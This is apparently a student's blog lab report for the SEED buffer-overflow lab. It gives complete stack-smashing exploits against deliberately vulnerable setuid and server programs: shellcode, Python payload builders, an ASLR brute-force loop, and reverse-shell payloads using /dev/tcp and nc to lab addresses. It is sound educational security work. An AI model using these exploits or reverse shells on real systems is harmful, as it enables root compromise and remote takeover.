【SEED Lab2.0】缓冲区溢出实验报告

Eutopia's Blog

Posted by Eutopia on October 25, 2023

缓冲区溢出实验报告

stack_overflow(setuid)

环境配置

配置环境,关闭ASLR地址随机化,将/bin/sh链接到/bin/zsh(/bin/dash以及/bin/bash都实现了一种安全对策, 防止自己在Set-UID进程中执行。 基本上,如果它们检测到它们是在一个Set-UID进程中执行的, 它们会立即将有效的用户ID更改为该进程的真实用户ID, 基本上会放弃特权 )

sudo sysctl -w kernel.randomize_va_space=0 
kernel.randomize_va_space = 0
❯ sudo ln -sf /bin/zsh /bin/sh

Task1: 熟悉shellcode

shellcode C代码实现

#include <stddef.h>
void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

shellcode 二进制代码实现:

/* call_shellcode.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0) 
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode);
   int (*func)() = (int(*)())code;

   func();
   return 1;
}

call_shellcode.c编译运行,可以发现会得到shell:

❯ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
❯ ./a32.out
$ ls                                                                           
Makefile  a32.out  a64.out  call_shellcode.c
$ exit                                                                         
❯ ./a64.out
$ ls                                                                           
Makefile  a32.out  a64.out  call_shellcode.c
$ exit                   

Task2:查看漏洞程序

stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

可以发现该程序从badfile文件中读取517字节输入,然而BUF_SIZE的长度只有100,因此如果文件内容大于100会导致栈溢出。

编译程序:将stack.c文件根据不同要求编译为四种不同保护强度的二进制可执行文件,并且修改其文件所有者为root,执行权限为setuid。

sudo sysctl -w kernel.randomize_va_space=0 
kernel.randomize_va_space = 0
❯ sudo ln -sf /bin/zsh /bin/sh                                                           
❯ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
[sudo] bronya 的密码: 
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4

Task3:攻击32位程序

gdb调试:新建badfile文件,使用gdb调试工具进行动态分析。在调试过程中在bof函数处设置断点,使程序运行到此,查看此时寄存器ebpbuffer的地址,由于需要溢出的输入需要从buffer开始一直覆盖到ebp寄存器,因此需要计算两地址的差值(0x6c)。因此可以通过此来构造payload进行栈溢出攻击,使ebp指向地址覆盖为shellcode。

touch badfile
❯ gdb ./stack-L1-dbg
Breakpoint 1, bof (str=0xffffccc3 "") at stack.c:20
20	    strcpy(buffer, str);       
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX  0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*EBX  0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*ECX  0x60
*EDX  0xffffcca0 —▸ 0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L1-dbg'
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L1-dbg'
*EBP  0xffffc898 —▸ 0xffffcca8 —▸ 0xffffced8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
*ESP  0xffffc820 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
*EIP  0x5655621e (bof+17) ◂— 0xff08ec83
───────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
 ► 0x5655621e <bof+17>    sub    esp, 8
   0x56556221 <bof+20>    push   dword ptr [ebp + 8]
   0x56556224 <bof+23>    lea    edx, [ebp - 0x6c]
   0x56556227 <bof+26>    push   edx
   0x56556228 <bof+27>    mov    ebx, eax
   0x5655622a <bof+29>    call   strcpy@plt                    <strcpy@plt>
 
   0x5655622f <bof+34>    add    esp, 0x10
   0x56556232 <bof+37>    mov    eax, 1
   0x56556237 <bof+42>    mov    ebx, dword ptr [ebp - 4]
   0x5655623a <bof+45>    leave  
   0x5655623b <bof+46>    ret    
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack.c
   15 int bof(char *str)
   16 {
   17     char buffer[BUF_SIZE];
   18 
   19     // The following statement has a buffer overflow problem 
 ► 20     strcpy(buffer, str);       
   21 
   22     return 1;
   23 }
   24 
   25 int main(int argc, char **argv)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffc820 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
01:0004│     0xffffc824 —▸ 0x56557031 ◂— 0x3d3d3d00
02:0008│     0xffffc828 —▸ 0xffffccb4 ◂— 0x0
03:000c│     0xffffc82c ◂— 0x0
... ↓        4 skipped
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► 0 0x5655621e bof+17
   1 0x56556342 dummy_function+58
   2 0x565562da main+158
   3 0xf7c21519 __libc_start_call_main+121
   4 0xf7c215f3 __libc_start_main+147
   5 0x5655610b _start+43
────────────────────────────────────────────────────────────────────────────────
pwndbg> p $ebp
$1 = (void *) 0xffffc898
pwndbg> p &buffer
$2 = (char (*)[100]) 0xffffc82c
pwndbg> x 0xffffc898 - 0xffffc82c
0x6c:	Cannot access memory at address 0x6c
pwndbg> q

构造python脚本:根据动态调试结果构造python脚本如下,python脚本对content(即payload)变量进行三次赋值,第一次赋值为长度为517字节全\x90,第二次将content末尾修改为shellcode,最后将rbp寄存器指向地址修改为程序原本返回的地址(防止程序在执行shellcode前因无法执行返回操作而崩溃)。注意gdb调试获取到的栈指针地址与实际运行会略有不同,因为gdb会将一些环境数据压入栈中,导致实际的栈指针变量会偏大,因此在构造payload时,ret的值并不是ebp,而是应该增大一些(>=96)。

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)            # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffcd98 + 96           # Change this number 
offset = 112              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

执行漏洞程序,获取到root权限shell

❯ python3 exploit.py                                    
❯ ./stack-L1
Input size: 517
# whoami                                                                       
root
# exit 

Task4:对未知buffer大小的程序进行攻击

由于buffer大小未知,可以考虑喷射方法,将payload前若干项全部修改为要返回的地址,由于给定限定条件buffer大小位于100到200,所以可以考虑在前200+4项全部覆盖为ret_addr。这样总会将ebp地址覆盖为要返回的地址。

选择攻击stack-L2,首先进行gdb调试,获取ebp地址:

pwndbg> b bof
Breakpoint 1 at 0x1221: file stack.c, line 20.
pwndbg> r
Starting program: /home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L2-dbg 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input size: 517

Breakpoint 1, bof (str=0xffffccc3 '\220' <repeats 112 times>, "\020\316\377\377", '\220' <repeats 84 times>...) at stack.c:20
20	    strcpy(buffer, str);       
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX  0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*EBX  0x56558fb8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ec0
*ECX  0x60
*EDX  0xffffcca0 —▸ 0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L2-dbg'
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffcfa4 —▸ 0xffffd18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L2-dbg'
*EBP  0xffffc898 —▸ 0xffffcca8 —▸ 0xffffced8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
*ESP  0xffffc7f0 ◂— 0x205
*EIP  0x56556221 (bof+20) ◂— 0xff08ec83
───────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
 ► 0x56556221 <bof+20>    sub    esp, 8
   0x56556224 <bof+23>    push   dword ptr [ebp + 8]
   0x56556227 <bof+26>    lea    edx, [ebp - 0xa8]
   0x5655622d <bof+32>    push   edx
   0x5655622e <bof+33>    mov    ebx, eax
   0x56556230 <bof+35>    call   strcpy@plt                    <strcpy@plt>
 
   0x56556235 <bof+40>    add    esp, 0x10
   0x56556238 <bof+43>    mov    eax, 1
   0x5655623d <bof+48>    mov    ebx, dword ptr [ebp - 4]
   0x56556240 <bof+51>    leave  
   0x56556241 <bof+52>    ret    
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack.c
   15 int bof(char *str)
   16 {
   17     char buffer[BUF_SIZE];
   18 
   19     // The following statement has a buffer overflow problem 
 ► 20     strcpy(buffer, str);       
   21 
   22     return 1;
   23 }
   24 
   25 int main(int argc, char **argv)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffc7f0 ◂— 0x205
01:0004│     0xffffc7f4 ◂— 0x0
02:0008│     0xffffc7f8 —▸ 0xffffc884 ◂— 0x0
03:000c│     0xffffc7fc ◂— 0x0
04:0010│     0xffffc800 —▸ 0xf7db68a0 (step0_jumps) ◂— 0x0
05:0014│     0xffffc804 ◂— 0xffffffff
06:0018│     0xffffc808 —▸ 0xf7c1aac9 ◂— 'ld-linux.so.2'
07:001c│     0xffffc80c —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► 0 0x56556221 bof+20
   1 0x56556348 dummy_function+58
   2 0x565562e0 main+158
   3 0xf7c21519 __libc_start_call_main+121
   4 0xf7c215f3 __libc_start_main+147
   5 0x5655610b _start+43
────────────────────────────────────────────────────────────────────────────────
pwndbg> p $ebp
$1 = (void *) 0xffffc898

利用此信息进行喷射攻击。构造python脚本如下

exploit.py:将payload前208项全部覆盖为ret地址,ret地址需要大于等于$ebp+232。

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)            # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffc898 + 232        # Change this number 
offset = 207              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[0:offset + L] = (ret).to_bytes(L,byteorder='little')*52 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

结果获取到root权限的shell。

 python3 exploit-L2.py
 ./stack-L2
Input size: 514
# whoami                                                                       
root
#  

Task5:针对64位程序的攻击

64位程序与32位程序类似,但是由于地址前4位均为0,如果直接输入会导致strcpy函数遇\x00截断,导致shellcode无法进栈,因此可以考虑通过将shellcode放在ret前。python脚本构造如下:

python

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 40            # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0x7fffffffd5b0+220      # Change this number 
offset = 208+8              # Change this number 

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
# content[0:offset+L] = (ret).to_bytes(L,byteorder='little')*29
content[offset:offset+L] = (ret).to_bytes(L,byteorder='little')
print((ret).to_bytes(L,byteorder='little'))
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

成功获得root权限shell:

❯ python3 exploit-L3.py
b'\x8c\xd6\xff\xff\xff\x7f\x00\x00'
❯ ./stack-L3
Input size: 517
# whoami                                                                       
root
# exit                                                                         

Task6:攻击64位程序(buffer很小)

由于buffer size变小,不足以插入shellcode,可以考虑利用在main函数中参数中出现的shellcode。gdb调试如下,记录shellcode的所在地址,令ret=0x7fffffffdca0 + 220,即可成功跳转到shellcode

pwndbg> stack 70
00:0000│ rsp 0x7fffffffdab0 —▸ 0x7fffffffddf8 —▸ 0x7fffffffe18d ◂— '/home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L4-dbg'
01:0008│     0x7fffffffdab8 ◂— 0x100000000
02:0010│     0x7fffffffdac0 ◂— 0x9090909090909090
03:0018│     0x7fffffffdac8 ◂— 0x9090909090909090
04:0020│     0x7fffffffdad0 ◂— 0x7fffffffd6909090
05:0028│     0x7fffffffdad8 ◂— 0x9090909090900000
06:0030│     0x7fffffffdae0 ◂— 0x9090909090909090
... ↓        55 skipped
3e:01f0│     0x7fffffffdca0 ◂— 0x622fb84852d23148
3f:01f8│     0x7fffffffdca8 ◂— 0x485068732f2f6e69 ('in//shPH')
40:0200│     0x7fffffffdcb0 ◂— 0x48e689485752e789
41:0208│     0x7fffffffdcb8 ◂— 0x9090050f3bb0c031
42:0210│     0x7fffffffdcc0 ◂— 0x7f9090909090
43:0218│     0x7fffffffdcc8 ◂— 0x64 /* 'd' */
44:0220│     0x7fffffffdcd0 ◂— 0x20500001000
45:0228│     0x7fffffffdcd8 —▸ 0x5555555592a0 ◂— 0xfbad2488

python脚本如下

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - 7 - len(shellcode)            # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0x7fffffffdca0 + 220      # Change this number 
offset = 10+8              # Change this number 

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
# content[0:offset+L] = (ret).to_bytes(L,byteorder='little')*29
content[offset:offset+L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

成功获取root权限下的shell

❯ python3 exploit-L4.py
❯ ./stack-L4
Input size: 517
# whoami                                                                       
root
# exit    

Task 7:Defeating dash’s Countermeasure

输入命令改回设置

sudo ln -sf /bin/dash /bin/sh

修改call_shellcode.c,将setuid的汇编代码加入到shellcode中,重新编译并运行,可以发现shell具有root权限。

❯ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
[sudo] bronya 的密码: 
sudo chmod 4755 a32.out a64.out
❯ ./a32.out
sh-5.1# whoami
root
sh-5.1# exit
exit
❯ ./a64.out
sh-5.1# whoami
root
sh-5.1# exit
exit

setuid(0)汇编语言如下,可见主要操作为将real uid设置为0,即root用户的uid,这样当bash执行文件时会发现real id与拥有者id一致,因此不会限制权限。

; Invoke setuid(0): 32-bit
xor ebx, ebx ; ebx = 0: setuid()’s argument
xor eax, eax
mov al, 0xd5 ; setuid()’s system call number
int 0x80
; Invoke setuid(0): 64-bit
xor rdi, rdi ; rdi = 0: setuid()’s argument
xor rax, rax
mov al, 0x69 ; setuid()’s system call number
syscall

Task 8: Defeating Address Randomization

在32位机器上,由于栈比较小,可以通过暴力破解的方式来攻破ASLR地址随机化。

运行命令重新开启ASLR机制:

sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

尝试攻击stack-L1,可以发现报错,由于ASLR随机了栈基址,导致ret的值失效。

❯ python3 exploit-L1.py
❯ ./stack-L1
Input size: 517
[1]    12494 segmentation fault (core dumped)  ./stack-L1

使用暴力破解的方式来尝试攻击,运行脚本,由于随机性较强,没有解出:

![暴力破解](/img/posts/2023-10-25-【SEED_Lab】缓冲区溢出实验报告/images_

setuid/暴力破解.png)

暴力破解脚本如下,主要执行了循环进行攻击的操作。

brute_force.sh

#!/bin/bash
SECONDS=0
value=0

while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  ./stack-L1
done

Task 9:Experimenting with Other Countermeasures

  1. Task 9.a: Turn on the StackGuard Protection

    开启StackGuard防护。使用gcc命令重新编译stack-L1,尝试进行攻击

    ❯ ./stack
    Input size: 517
    *** stack smashing detected ***: terminated
    [1]    19472 IOT instruction (core dumped)  ./stack
    

    可以发现,stack smashing detected,表明检测到栈溢出,自动停止程序运行。

  2. Task 9.b: Turn on the Non-executable Stack Protection

    开启DEP防护,重新编译a32out,a64out,查看结果,发现无法弹出shell,说明数据段中代码不可执行,无法成功攻击。

    ❯ gcc -DBUF_SIZE=100 -m32 -o a32.out -fno-stack-protector call_shellcode.c
       
    ❯ gcc -DBUF_SIZE=100 -m64 -o a64.out -fno-stack-protector call_shellcode.c
       
    ❯ sudo chmod 4755 a32.out
    [sudo] bronya 的密码: 
    ❯ sudo chmod 4755 a64.out
    ❯ sudo chown root a32.out
    ❯ sudo chown root a64.out
    ❯ ./a64.out
    [1]    25967 segmentation fault (core dumped)  ./a64.out
    ❯ ./a32.out
    [1]    26060 segmentation fault (core dumped)  ./a32.out
    

stack-overflow(Server)

环境配置

关闭ASLR

sudo /sbin/sysctl -w kernel.randomize_va_space=0

漏洞程序分析,程序中bof函数存在漏洞,原理同stack-overflow(setuid)。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str); P
return 1;
}
int main(int argc, char **argv)
{
char str[517];
int length = fread(str, sizeof(char), 517, stdin);
bof(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}

编译程序:

❯ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack.c
❯ make install
cp server ../bof-containers
cp stack-* ../bof-containers

建立docker镜像:

docker

Task 1:Get Familiar with the Shellcode

shellcode基本原理为执行命令”/bin/sh”,从而获取shell

shellcode_32.py, shellcode_64.py运行,编译call_shellcode.c,运行文件,执行codefile

修改shellcode_32.py,使其codefile可以删除文件(shellcode_64同理):

修改shellcode

Task 2:Level-1 Attack

使用echo hello | nc 10.9.0.5 9090命令连接server1 9090端口,建立TCP连接后服务端会自动运行stack程序。

测试服务nc

根据ebp地址和buffer地址,构造python脚本如下:

#!/usr/bin/python3
import sys

shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same. 
   # The * in this line serves as the position marker         * 
   "/bin/bash	-i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1          *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffd7e8     # Change this number 
offset = 0xffffd7e8 - 0xffffd778 + 4              # Change this number 

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

结果成功获取到root权限shell。

level1-result

Task 3:Level-2 Attack

buffer大小未知,可以通过喷射法来填充大量地址。

向server2发送nc连接请求,获取到buffer地址

server2-echo hello

构造python脚本:

#!/usr/bin/python3
import sys

shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same. 
   # The * in this line serves as the position marker         * 
   "/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1           *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffd728 + start    # Change this number 
offset = 300              # Change this number 

# Use 4 for 32-bit address and 8 for 64-bit address
content[0:offset + 4] = (ret).to_bytes(4,byteorder='little')*76
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

获取到shell

level2-result

Task 4:Level-3 Attack

向server3发送nc连接请求,发现可以看到rbp和buffer地址。通过将shellcode放在ret前解决。

echo-hello-server3

构造python脚本如下,已知rbp和buffer地址,将shellcode放在前面即可,此处直接设置start为0:

#!/usr/bin/python3
import sys

shellcode = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same. 
   # The * in this line serves as the position marker         * 
   "/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1           *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 0               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0x7fffffffe650    # Change this number 
offset = 0x7fffffffe720 - 0x7fffffffe650 + 8              # Change this number 

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

获取到root权限的shell:

echo-hello-server3

Task 5:Level-4 Attack

向server4发送nc连接请求,但是buffer size很小,由返回结果可知buffer size为0x60,为96长度,小于shellcode长度,因此考虑使用main函数fread参数的shellcode,由于地址离rbp较远且无法得知,因此尝试遍历爆破出结果,此处应尽量保证shellcode前有尽可能多的nop指令,所以start可以设置为末尾。

ehco-hello-server3

构造python脚本如下,使用循环向server4发送请求:

#!/usr/bin/python3
import sys
import os

shellcode = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same. 
   # The * in this line serves as the position marker         * 
   "/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1           *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0x7fffffffe650    # Change this number 
offset = 0x60 + 8              # Change this number 
for i in range(0, 100):
  ret += 40
  # Use 4 for 32-bit address and 8 for 64-bit address
  content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
  ##################################################################
  # Write the content to a file
  with open('badfile', 'wb') as f:
    f.write(content)
  print(f"ret: {ret}")
  print(os.system("cat badfile | nc 10.9.0.8 9090"))
 

